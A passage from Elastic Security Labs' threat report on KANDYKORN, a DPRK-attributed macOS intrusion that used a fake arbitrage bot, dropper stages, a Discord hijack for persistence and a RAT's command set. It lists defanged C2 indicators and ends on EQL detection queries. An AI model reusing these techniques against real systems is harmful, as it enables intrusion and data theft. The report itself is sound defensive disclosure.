d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Elastic catches DPRK passing out KANDYKORN","slug":"elastic-catches-dprk-passing-out-kandykorn","date":"2023-11-01","description":"Elastic Security Labs exposes an attempt by the DPRK to infect blockchain engineers with novel macOS malware.","image":"photo-edited-01@2x.jpg","tags":["ref7001","KANDYKORN","SUGARLOADER","HLOADER","DPRK","Lazarus Group","Crypto","Financial Motivation"],"body":{"raw":"\n## Preamble\n\nElastic Security Labs is disclosing a novel intrusion targeting blockchain engineers of a crypto exchange platform. The intrusion leveraged a combination of custom and open source capabilities for initial access and post-exploitation.\n\nWe discovered this intrusion when analyzing attempts to reflectively load a binary into memory on a macOS endpoint. The intrusion was traced to a Python application posing as a cryptocurrency arbitrage bot delivered via a direct message on a public Discord server.\n\nWe attribute this activity to DPRK and recognize overlaps with the Lazarus Group based on our analysis of the techniques, network infrastructure, code-signing certificates, and custom Lazarus Group detection rules; we track this intrusion set as REF7001.\n\n### Key takeaways\n* Threat actors lured blockchain engineers with a Python application to gain initial access to the environment\n* This intrusion involved multiple complex stages that each employed deliberate defense evasion techniques\n* The intrusion set was observed on a macOS system where an adversary attempted to load binaries into memory, which is atypical of macOS intrusions\n\n## Execution flow\n![_REF7001 Execution Flow_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image31.jpg)\n\n\nAttackers impersonated blockchain engineering community members on a public Discord frequented by members of this community. The attacker social-engineered their initial victim, convincing them to download and decompress a ZIP archive containing malicious code. The victim believed they were installing an [arbitrage bot](https://wundertrading.com/en/crypto-arbitrage-bot), a software tool capable of profiting from cryptocurrency rate differences between platforms.\n\nThis execution kicked off the primary malware execution flow of the REF7001 intrusion, culminating in KANDYKORN:\n* Stage 0 (Initial Compromise) - `Watcher.py`\n* Stage 1 (Dropper) - `testSpeed.py` and `FinderTools`\n* Stage 2 (Payload) - `.sld` and `.log` - SUGARLOADER\n* Stage 3 (Loader)- Discord (fake) - HLOADER\n* Stage 4 (Payload) - KANDYKORN\n\n## Stage 0 Initial compromise: Watcher.py\n\nThe initial breach was orchestrated via a camouflaged Python application designed and advertised as an arbitrage bot targeted at blockchain engineers. This application was distributed as a .zip file titled `Cross-Platform Bridges.zip`. Decompressing it reveals a `Main.py` script accompanied by a folder named `order_book_recorder`, housing 13 Python scripts.\n\n![_Cross-Platform Bridges.zip folder structure_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image21.png)\n\n\nThe victim manually ran the `Main.py` script via their PyCharm IDE Python interpreter.\n\nInitially, the `Main.py` script appears benign. It imports the accompanying Python scripts as modules and seems to execute some mundane functions. \n\nWhile analyzing the modules housed in the `order_book_recorder` folder, one file -- `Watcher.py` -- clearly stood out and we will see why.\n\n`Main.py` acts as the initial trigger, importing `Watcher.py` as a module that indirectly executes the script. The Python interpreter runs every top-level statement in `Watcher.py` sequentially.\n\nThe script starts off by establishing local directory paths and subsequently attempts to generate a `_log` folder at the specified location. If the folder already exists, the script remains passive.\n\n![*Creating a folder within the Python application directory structure and name it _log*](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image17.png)\n\n\nThe script pre-defines a `testSpeed.py` file path (destined for the just created `_log` folder) and assigns it to the `output` variable. The function `import_networklib` is then defined. Within it, a Google Drive URL is initialized. \n\nUtilizing the Python `urllib` library, the script fetches content from this URL and stashes it in the `s_args` variable. In case of retrieval errors, it defaults to returning the operating system's name. Subsequently, the content from Google Drive (now in `s_args`) is written into the `testSpeed.py` file.\n\n![_Malicious downloader function import_networklib_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image25.png)\n\n\n![_Connect to Google Drive url and download data saved to a variable s_args_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image24.png)\n\n\n![*Write data from s_args to testSpeed.py file in newly created _log directory*](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image1.png)\n\n\nThe next function, `get_modules_base_version`, probes the Python version and invokes the `import_networklib` function if it detects version 3. This call sets the entire sequence in motion.\n\n![_Check if Python version 3, calls the import_networklib function_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image14.png)\n\n\n`Watcher.py` imports `testSpeed.py` as a module, executing the contents of the script.\n\n![_Import testSpeed.py to execute it_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image7.png)\n\n\nConcluding its operation, the malicious script tidies up, deleting the `testSpeed.py` file immediately after its one-time execution.\n\n![_Delete the downloaded testSpeed.py file following its import and execution_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image8.png)\n\n\n![_Watcher.py deletes the testSpeed.py immediately following its execution_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image35.png)\n\n\n## Stage 1 droppers testSpeed.py and FinderTools\n\nWhen executed, `testSpeed.py` establishes an outbound network connection and fetches another Python file from a Google Drive URL, named `FinderTools`. This new file is saved to the `/Users/Shared/` directory, with the method of retrieval mirroring the `Watcher.py` script.\n\n![_testSpeed.py network connection_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image9.png)\n\n\n![_FinderTools file creation _](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image2.png)\n\n\nAfter download, `testSpeed.py` launches `FinderTools`, providing a URL (`tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC`) as an argument which initiates an outbound network connection. \n\n![_FinderTools execution_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image3.png)\n\n\n![_FinderTools network connections_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image13.png)\n\n\n`FinderTools` is yet another dropper, downloading and executing a hidden second stage payload `.sld` also written to the `/Users/Shared/` directory.\n\n![_FinderTools executes .sld_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image5.png)\n\n\n## Stage 2 payload .sld and .log: SUGARLOADER\n\nStage 2 involves the execution of an obfuscated binary we have named SUGARLOADER, which is utilized twice under two separate names (`.sld` and `.log`).\n\nSUGARLOADER is first observed at `/Users/shared/.sld`. The second instance of SUGARLOADER, renamed to `.log`, is used in the persistence mechanism REF7001 implements with Discord. \n\n### Obfuscation\n\nSUGARLOADER is used for initial access on the machine, and initializing the environment for the final stage. This binary is obfuscated using a binary packer, limiting what can be seen with static analysis.\n\nThe start function of this binary consists of a jump (`JMP`) to an undefined address. This is common for binary packers.\n\n```\nHEADER:00000001000042D6 start:\nHEADER:00000001000042D6 jmp 0x10000681E\n```\n\nExecuting the macOS file object tool `otool -l ./log` lists all the sections that will be loaded at runtime.\n\n```\nSection\n sectname __mod_init_func\n segname lko2\n addr 0x00000001006983f0\n size 0x0000000000000008\n offset 4572144\n align 2^3 (8)\n reloff 0\n nreloc 0\n flags 0x00000009\n reserved1 0\n reserved2 0\n```\n\n`__mod_init_func` contains initialization functions. The C++ compiler places static constructors here. This is the code used to unpack the binary in memory.\n\nA successful method of reverse engineering such files is to place a breakpoint right after the execution of initialization functions and then take a snapshot of the process's virtual memory. When the breakpoint is hit, the code will already be decrypted in memory and can be analyzed using traditional methods.\n\nAdversaries commonly use obfuscation techniques such as this to bypass traditional static signature-based antimalware capabilities. As of this publication, VirusTotal [shows 0 detections of this file](https://www.virustotal.com/gui/file/3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940), which suggests these defense evasions continue to be cost-effective.\n\n![_SUGARLOADER VirusTotal Detections_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image11.png)\n\n\n### Execution\n\nThe primary purpose of SUGARLOADER is to connect to a Command and Control server (C2), in order to download a final stage payload we refer to as KANDYKORN, and execute it directly in memory. \n\nSUGARLOADER checks for the existence of a configuration file at `/Library/Caches/com.apple.safari.ck`. If the configuration file is missing, it will be downloaded and created via a default C2 address provided as a command line argument to the `.sld` binary. In our sample, the C2 address was `23.254.226[.]90` over TCP port `443`. We provide additional information about the C2 in the Network Infrastructure section below.\n\n![_SUGARLOADER C2 established and configuration file download_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image4.png)\n\n\n![_SUGARLOADER writing configuration file_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image40.png)\n\n\nThe configuration file is encrypted using RC4 and the encryption key (in the Observations section) is hardcoded within SUGARLOADER itself. The `com.apple.safari.ck` file is utilized by both SUGARLOADER and KANDYKORN for establishing secure network communications.\n```\nstruct MalwareConfig\n{\n char computerId[8];\n _BYTE gap0[12];\n Url c2_urls[2];\n Hostname c2_ip_address[2];\n _BYTE proxy[200];\n int sleepInterval;\n};\n```\n\n`computerId` is a randomly generated string identifying the victim’s computer.\n\nA C2 server can either be identified with a fully qualified URL (`c2_urls`) or with an IP address and port (`c2_ip_ddress`). It supports two C2 servers, one as the main server, and the second one as a fallback. The specification or hardcoding of multiple servers like this is commonly used by malicious actors to ensure their connection with the victim is persistent should the original C2 be taken down or blocked. `sleepInterval` is the default sleeping interval for the malware between separate actions.\n\nOnce the configuration file is read into memory and decrypted, the next step is to initialize a connection to the remote server. All the communication between the victim’s computer and the C2 server is detailed in the Network Protocol section.\n\nThe last step taken by SUGARLOADER is to download a final stage payload from the C2 server and execute it. REF7001 takes advantage of a technique known as [reflective binary loading](https://attack.mitre.org/techniques/T1620/) (allocation followed by the execution of payloads directly within the memory of the process) to execute the final stage, leveraging APIs such as `NSCreateObjectFileImageFromMemory` or `NSLinkModule`. Reflective loading is a powerful technique. If you'd like to learn more about how it works, check out this research by [slyd0g](https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f) and [hackd](https://hackd.net/posts/macos-reflective-code-loading-analysis/).\n\nThis technique can be utilized to execute a payload from an in-memory buffer. Fileless execution such as this [has been observed previously](https://objective-see.org/blog/blog_0x51.html) in attacks conducted by the Lazarus Group.\n\nSUGARLOADER reflectively loads a binary (KANDYKORN) and then creates a new file initially named `appname` which we refer to as `HLOADER` which we took directly from the process code signature’s signing identifier.\n\n![_SUGARLOADER reflective binary load alert_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image12.png)\n\n\n![_SUGARLOADER creates HLOADER_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image36.png)\n\n\n![_HLOADER code signature identifier_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image10.png)\n\n\n![_Pseudocode for SUGARLOADER (stage2)_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image34.png)\n\n\n## Stage 3 loader Discord: HLOADER\n\nHLOADER (`2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1`) is a payload that attempts to masquerade as the legitimate Discord application. As of this writing, [it has 0 detections on VirusTotal](https://www.virustotal.com/gui/file/2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1).\n\n![_HLOADER VirusTotal Detections_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image15.png)\n\n\nHLOADER was identified through the use of a macOS binary code-signing technique that has been [previously linked](https://objective-see.org/blog/blog_0x73.html) to the [DPRK’s Lazarus Group 3CX intrusion](https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-discovers-new-lazarus-dreamjob-campaign-and-links-it-to-phone-provider-3cx-supply-chai/). In addition to other published research, Elastic Security Labs has also used the presence of this technique as an indicator of DPRK campaigns, as seen in our June 2023 research publication on [JOKERSPY](https://www.elastic.co/security-labs/inital-research-of-jokerspy#the-xcc-binary).\n\n### Persistence\n\nWe observed the threat actor adopting a technique we have not previously seen them use to achieve persistence on macOS, known as [execution flow hijacking](https://attack.mitre.org/techniques/T1574/). The target of this attack was the widely used application Discord. The Discord application is often configured by users as a login item and launched when the system boots, making it an attractive target for takeover. HLOADER is a self-signed binary written in Swift. The purpose of this loader is to execute both the legitimate Discord bundle and `.log` payload, the latter of which is used to execute Mach-O binary files from memory without writing them to disk.\n\nThe legitimate binary `/Applications/Discord.app/Contents/MacOS/Discord` was renamed to `.lock`, and replaced by `HLOADER`. \n\n![_Discord replaced by HLOADER_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image18.png)\n\n\nBelow is the code signature information for `HLOADER`, which has a self-signed identifier structure consistent with other Lazarus Group samples.\n```\nExecutable=Applications/Discord.app/Contents/MacOS/Discord\nIdentifier=HLOADER-5555494485b460f1e2343dffaef9b94d01136320\nFormat=bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory flags=0x2(adhoc) hashes=12+7 location=embedded\n```\n\nWhen executed, `HLOADER` performs the following operations:\n* Renames itself from `Discord` to `MacOS.tmp`\n* Renames the legitimate Discord binary from `.lock` to `Discord`\n* Executes both Discord and `.log` using `NSTask.launchAndReturnError`\n* Renames both files back to their initial names\n\n![_HLOADER execution event chain_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image37.png)\n\n\n![_HLOADER Discord Application Hijack_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image33.png)\n\n\nThe following process tree also visually depicts how persistence is obtained. The root node `Discord` is actually HLOADER disguised as the legitimate app. As presented above, it first runs .lock, which is in fact Discord, and, alongside, spawns SUGARLOADER as a process named .log.\n\n![_Process Tree Analyzer_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image23.png)\n\n\nAs seen in stage 2, SUGARLOADER reads the configuration file, connects to the C2 server, and waits for a payload to be received. Another alert is generated when the new payload (KANDYKORN) is loaded into memory. \n\n![_Reflective Dylib Load Alert for KANDYKORN_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image27.png)\n\n\n## Stage 4 Payload: KANDYKORN\n\nKANDYKORN is the final stage of this execution chain and possesses a full-featured set of capabilities to access and exfiltrate data from the victim’s computer. Elastic Security Labs was able to retrieve this payload from one C2 server which hadn’t been deactivated yet.\n\n### Execution\n\nKANDYCORN processes are forked and run in the background as daemons before loading their configuration file from `/Library/Caches/com.apple.safari.ck`. The configuration file is read into memory then decrypted using the same RC4 key, and parsed for C2 settings. The communication protocol is similar to prior stages using the victim ID value for authentication.\n\n### Command and control\n\nOnce communication is established, KANDYKORN awaits commands from the server. This is an interesting characteristic in that the malware waits for commands instead of polling for commands. This would reduce the number of endpoint and network artifacts generated and provide a way to limit potential discovery.\n\nEach command is represented by an integer being transmitted, followed by the data that is specific to each action. Below is a list of the available commands KANDYKORN provides.\n\n#### Command 0xD1\n\nAction: Exit command where the program gracefully exists.\n\n#### Command 0xD2\n\nName: `resp_basicinfo`\nAction: Gathers information about the system such as hostname, uid, osinfo, and image path of the current process, and reports back to the server.\n\n![_resp_basicinfo routine_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image16.png)\n\n\n#### Command 0xD3\n\nName: `resp_file_dir`\nAction: Lists content of a directory and format the output similar to `ls -al`, including type, name, permissions, size, acl, path, and access time.\n\n![_resp_file_dir routine_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image20.png)\n\n\n#### Command 0xD4\n\nName: `resp_file_prop`\n\nAction: Recursively read a directory and count the number of files, number of subdirectories, and total size.\n\n![_resp_file_prop routine_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image26.png)\n\n\n#### Command 0xD5\n\nName: `resp_file_upload`\n\nAction: Used by the adversary to upload a file from their C2 server to the victim’s computer. This command specifies a path, creates it, and then proceeds to download the file content and write it to the victim’s computer.\n\n#### Command 0xD6\n\nName: `resp_file_down`\n\nAction: Used by the adversary to transfer a file from the victim’s computer to their infrastructure.\n\n#### Command 0xD7\n\nName: `resp_file_zipdown`\n\nAction: Archive a directory and exfiltrate it to the C2 server. The newly created archive’s name has the following pattern`/tmp/tempXXXXXXX`.\n\n![_resp_file_zipdown routine _](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image29.png)\n\n\n#### Command 0xD8\n\nName: `resp_file_wipe`\nAction: Overwrites file content to zero and deletes the file. This is a common technique used to impede recovering the file through digital forensics on the filesystem.\n\n![_resp_file_wipe routine_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image28.png)\n\n\n#### Command 0xD9\n\nName: `resp_proc_list`\n\nAction: Lists all running processes on the system along with their PID, UID and other information.\n\n#### Command 0xDA\n\nName: `resp_proc_kill`\n\nAction: Kills a process by specified PID.\n\n![_resp_proc_kill routine_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image19.png)\n\n\n#### Command 0xDB\n\nName: `resp_cmd_send`\n\nAction: Executes a command on the system by using a pseudoterminal.\n\n#### Command 0xDC\n\nName: `resp_cmd_recv`\n\nAction: Reads the command output from the previous command `resp_cmd_send`.\n\n#### Command 0xDD\n\nName: `resp_cmd_create`\n\nAction: Spawns a shell on the system and communicates with it via a pseudoterminal. Once the shell process is executed, commands are read and written through the `/dev/pts` device.\n\n![_resp_cmd_create routine (interactive shell)_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image38.png)\n\n\n#### Command 0xDE\n\nName: `resp_cfg_get`\n\nAction: Sends the current configuration to the C2 from `/Library/Caches/com.apple.safari.ck`.\n\n#### Command 0xDF\n\nName: `resp_cfg_set`\n\nAction: Download a new configuration file to the victim’s machine. This is used by the adversary to update the C2 hostname that should be used to retrieve commands from.\n\n#### Command 0xE0\n\nName: `resp_sleep`\n\nAction: Sleeps for a number of seconds.\n\n### Summary\n\nKANDYKORN is an advanced implant with a variety of capabilities to monitor, interact with, and avoid detection. It utilizes reflective loading, a direct-memory form of execution that may bypass detections.\n\n## Network protocol\n\nAll the executables that communicate with the C2 (both stage 3 and stage 4) are using the same protocol. All the data is encrypted with RC4 and uses the same key previously referenced in the configuration file.\n\nBoth samples implement wrappers around the send-and-receive system calls. It can be observed in the following pseudocode that during the send routine, the buffer is first encrypted and then sent to the socket, whereas when data is received it is first decrypted and then processed.\n\n![_send routine_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image22.png)\n\n\n![_recv routine_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image32.png)\n\n\nWhen the malware first connects to the C2 during the initialization phase, there is a handshake that needs to be validated in order to proceed. Should the handshake fail, the attack would stop and no other commands would be processed.\n\nOn the client side, a random number is generated and sent to the C2, which replies with a nonce variable. The client then computes a challenge with the random number and the received nonce and sends the result back to the server. If the challenge is successful and the server accepts the connection, it replies with a constant such as `0x41C3372` which appears in the analyzed sample.\n\n![_Handshake routine_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image39.png)\n\n\nOnce the connection is established, the client sends its ID and awaits commands from the server. Any subsequent data sent or received from here is serialized following a common schema used to serialize binary objects. First, the length of the content is sent, then the payload, followed by a return code which indicates if any error occurred.\n\n![_Overview of communication protocol_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image6.png)\n\n\n## Network infrastructure\n\nDuring REF7001, the adversary was observed communicating with network infrastructure to collect various payloads and loaders for different stages of the intrusion.\n\nAs detailed in the Stage 1 section above, the link to the initial malware archive, `Cross-Platform Bridges.zip`, was provided in a direct message on a popular blockchain Discord server. This archive was hosted on a Google Drive (`https://drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2`), but this was removed shortly after the archive was downloaded.\n\nThroughout the analysis of the REF7001 intrusion, there were two C2 servers observed.\n* `tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC`\n* `23.254.226[.]90`\n\n### tp-globa[.]xyz\n\nThe C2 domain `tp-globa[.]xyz` is used by `FinderTools` to download SUGARLOADER and is likely an attempt at [typosquatting](https://en.wikipedia.org/wiki/Typosquatting) a legitimate foreign exchange market broker. We do not have any information to indicate that the legitimate company is involved in this intrusion. This typosquatted domain was likely chosen in an attempt to appear more legitimate to the victims of the intrusion.\n\n`tp-globa[.]xyz`, as of this writing, resolves to an IP address (`192.119.64[.]43`) that has been observed distributing malware attributed to the DPRK’s Lazarus Group ([1](https://twitter.com/TLP_R3D/status/1677617586349981696), [2](https://twitter.com/_reboot_xxxx/status/1679054436289880065), [3](https://twitter.com/KSeznec/status/1678319191110082560)).\n\n### 23.254.226[.]90\n\n23.254.226[.]90 is the C2 IP used for the `.sld` file (SUGARLOADER malware). How this IP is used for C2 is highlighted in the stage 2 section above. \n\nOn October 14, 2023, `23.254.226[.]90` was used to register the subdomain, `pesnam.publicvm[.]com`. While we did not observe this domain in our intrusion, it is [documented](https://www.virustotal.com/gui/domain/publicvm.com/detection) as hosting other malicious software.\n\n## Campaign intersections\n\n`tp-globa[.]xyz`, has a TLS certificate with a Subject CN of `bitscrunnch.linkpc[.]net`. The domain `bitscrunnch.linkpc[.]net` has been [attributed](https://twitter.com/tiresearch1/status/1708141542261809360?s=20) to other Lazarus Group intrusions.\n\nAs noted above, this is likely an attempt to typosquat a legitimate domain for a decentralized NFT data platform. We do not have any information to indicate that the legitimate company is involved in this intrusion.\n```\n…\nIssuer: C = US, O = Let's Encrypt, CN = R3\nValidity\nNot Before: Sep 20 12:55:37 2023 GMT\nNot After : Dec 19 12:55:36 2023 GMT\nSubject: CN = bitscrunnch[.]linkpc[.]net\n…\n```\n\nThe `bitscrunnch.linkpc[.]net`’s TLS certificate is also used for [other additional domains](https://www.virustotal.com/gui/search/entity%253Adomain%2520ssl_subject%253Abitscrunnch.linkpc.net/domains), all of which are registered to the same IP address reported above in the `tp-globa[.]xyz` section above, `192.119.64[.]43`.\n* `jobintro.linkpc[.]net`\n* `jobdescription.linkpc[.]net`\n* `docsenddata.linkpc[.]net`\n* `docsendinfo.linkpc[.]net`\n* `datasend.linkpc[.]net`\n* `exodus.linkpc[.]net`\n* `bitscrunnch.run[.]place`\n* `coupang-networks[.]pics`\n\nWhile LinkPC is a legitimate second-level domain and dynamic DNS service provider, it is [well-documented](https://www.virustotal.com/gui/domain/linkpc.net/community) that this specific service is used by threat actors for C2. In our [published research into RUSTBUCKET](https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket), which is also attributed to the DPRK, we observed LinkPC being used for C2.\n\nAll registered domains, 48 as of this writing, for `192.119.64[.]43` are included in the observables bundle.\n\nFinally, in late July 2023, there were reports on the Subreddits [r/hacking](https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/), [r/Malware](https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/), and [r/pihole](https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/) with URLs that matched the structure of `tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC`. The user on Reddit reported that a recruiter contacted them to solve a Python coding challenge as part of a job offer. The code challenge was to analyze Python code purported to be for an internet speed test. This aligns with the REF7001 victim’s reporting on being offered a Python coding challenge and the script name `testSpeed.py` detailed earlier in this research.\n\nThe domain reported on Reddit was `group.pro-tokyo[.]top//OcRLY4xsFlN/vMZrXIWONw/6OyCZl89HS/fP7savDX6c/bfC` which follows the same structure as the REF7001 URL (`tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC`):\n\n* Two `//`’s after the TLD\n* 5 subdirectories using an `//11-characters/10-characters/10-characters/` structure\n* The last 2 subdirectories were `/fP7savDX6c/bfC`\n\nWhile we did not observe GitHub in our intrusion, the Redditors who reported this did observe GitHub profiles being used. They have all been deactivated.\n\nThose accounts were:\n* `https://github[.]com/Prtof`\n* `https://github[.]com/wokurks`\n\n## Summary\n\nThe DPRK, via units like the LAZARUS GROUP, continues to target crypto-industry businesses with the goal of stealing cryptocurrency in order to circumvent international sanctions that hinder the growth of their economy and ambitions. In this intrusion, they targeted blockchain engineers active on a public chat server with a lure designed to speak to their skills and interests, with the underlying promise of financial gain.\n\nThe infection required interactivity from the victim that would still be expected had the lure been legitimate. Once executed, via a Python interpreter, the REF7001 execution flow went through 5 stages:\n* Stage 0 (staging) - `Main.py` executes `Watcher.py` as an imported module. This script checks the Python version, prepares the local system directories, then downloads, executes, and cleans up the next stage.\n* Stage 1 (generic droppers) - `testSpeed.py` and `FinderTools` are intermediate dropper Python scripts that download and execute SUGARLOADER.\n* Stage 2 (SUGARLOADER) - `.sld` and `.log` are Mach-O executable payloads that establish C2, write the configuration file and reflectively load KANDYKORN.\n* Stage 3 (HLOADER) - `HLOADER`/`Discord`(fake) is a simple loader used as a persistence mechanism masquerading as the legitimate Discord app for the loading of SUGARLOADER.\n* Stage 4 (KANDYKORN) - The final reflectively loaded payload. KANDYKORN is a full-featured memory resident RAT with built-in capabilities to:\n * Conduct encrypted command and control\n * Conduct system enumeration\n * Upload and execute additional payloads\n * Compress and exfil data\n * Kill processes\n * Run arbitrary system commands through an interactive pseudoterminal\n\nElastic traced this campaign to April 2023 through the RC4 key used to encrypt the SUGARLOADER and KANDYKORN C2. This threat is still active and the tools and techniques are being continuously developed.\n\n## The Diamond Model\n\nElastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for an, although cluttered, single diamond.\n\n![_REF7001 Diamond Model_](/assets/images/elastic-catches-dprk-passing-out-kandykorn/image30.jpg)\n\n\n## [Malware] and MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.\n\n#### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n* [Execution](https://attack.mitre.org/tactics/TA0002)\n* [Persistence](https://attack.mitre.org/tactics/TA0003)\n* [Defense Evasion](https://attack.mitre.org/tactics/TA0005)\n* [Discovery](https://attack.mitre.org/tactics/TA0007)\n* [Collection](https://attack.mitre.org/tactics/TA0009)\n* [Command and Control](https://attack.mitre.org/tactics/TA0011)\n* [Exfiltration](https://attack.mitre.org/tactics/TA0010)\n\n#### Techniques\n\nTechniques represent how an adversary achieves a tactical goal by performing an action.\n* [User Execution: Malicious File](https://attack.mitre.org/techniques/T1204/002/)\n* [Command and Scripting Interpreter: Python](https://attack.mitre.org/techniques/T1059/006/)\n* [Command and Scripting Interpreter: Unix Shell](https://attack.mitre.org/techniques/T1059/004/)\n* [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/)\n* [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140/)\n* [Hide Artifacts: Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001/)\n* [Indicator Removal: File Deletion](https://attack.mitre.org/techniques/T1070/004/)\n* [Masquerading: Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)\n* [Obfuscated Files or Information: Software Packing](https://attack.mitre.org/techniques/T1027/002/)\n* [Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)\n* [File and Directory Discovery](https://attack.mitre.org/techniques/T1083/)\n* [Process Discovery](https://attack.mitre.org/techniques/T1057/)\n* [System Information Discovery](https://attack.mitre.org/techniques/T1082/)\n* [Archive Collected Data: Archive via Custom Method](https://attack.mitre.org/techniques/T1560/003/)\n* [Local Data Staging](https://attack.mitre.org/techniques/T1074/001/)\n* [Application Layer Protocol: Web Protocols](https://attack.mitre.org/techniques/T1071/001/)\n* [Fallback Channels](https://attack.mitre.org/techniques/T1008/)\n* [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)\n* [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)\n\n## Malware prevention capabilities\n* [MacOS.Trojan.SUGARLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar)\n* [MacOS.Trojan.HLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar)\n* [MacOS.Trojan.KANDYKORN](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar)\n\n## Malware detection capabilities\n\n### Hunting queries\n\nThe events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\n\n#### EQL queries\n\nUsing the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.\n\nThe following EQL query can be used to identify when a hidden executable creates and then immediately deletes a file within a temporary directory:\n\n```\nsequence by process.entity_id, file.path with maxspan=30s\n [file where event.action == \"modification\" and process.name : \".*\" and \n file.path : (\"/private/tmp/*\", \"/tmp/*\", \"/var/tmp/*\")]\n [file where event.action == \"deletion\" and process.name : \".*\" and \n file.path : (\"/private/tmp/*\", \"/tmp/*\", \"/var/tmp/*\")]\n```\n\nThe following EQL query can be used to identify when a hidden file makes an outbound network connection followed by the immediate download of an executable file:\n\n```\nsequence by process.entity_id with maxspan=30s\n[network where event.type == \"start\" and process.name : \".*\"]\n[file where event.action != \"deletion\" and file.Ext.header_bytes : (\"cffaedfe*\", \"cafebabe*\")]\n```\n\nThe following EQL query can be used to identify when a macOS application binary gets renamed to a hidden file name within the same directory:\n\n```\nfile where event.action == \"rename\" and file.name : \".*\" and \n file.path : 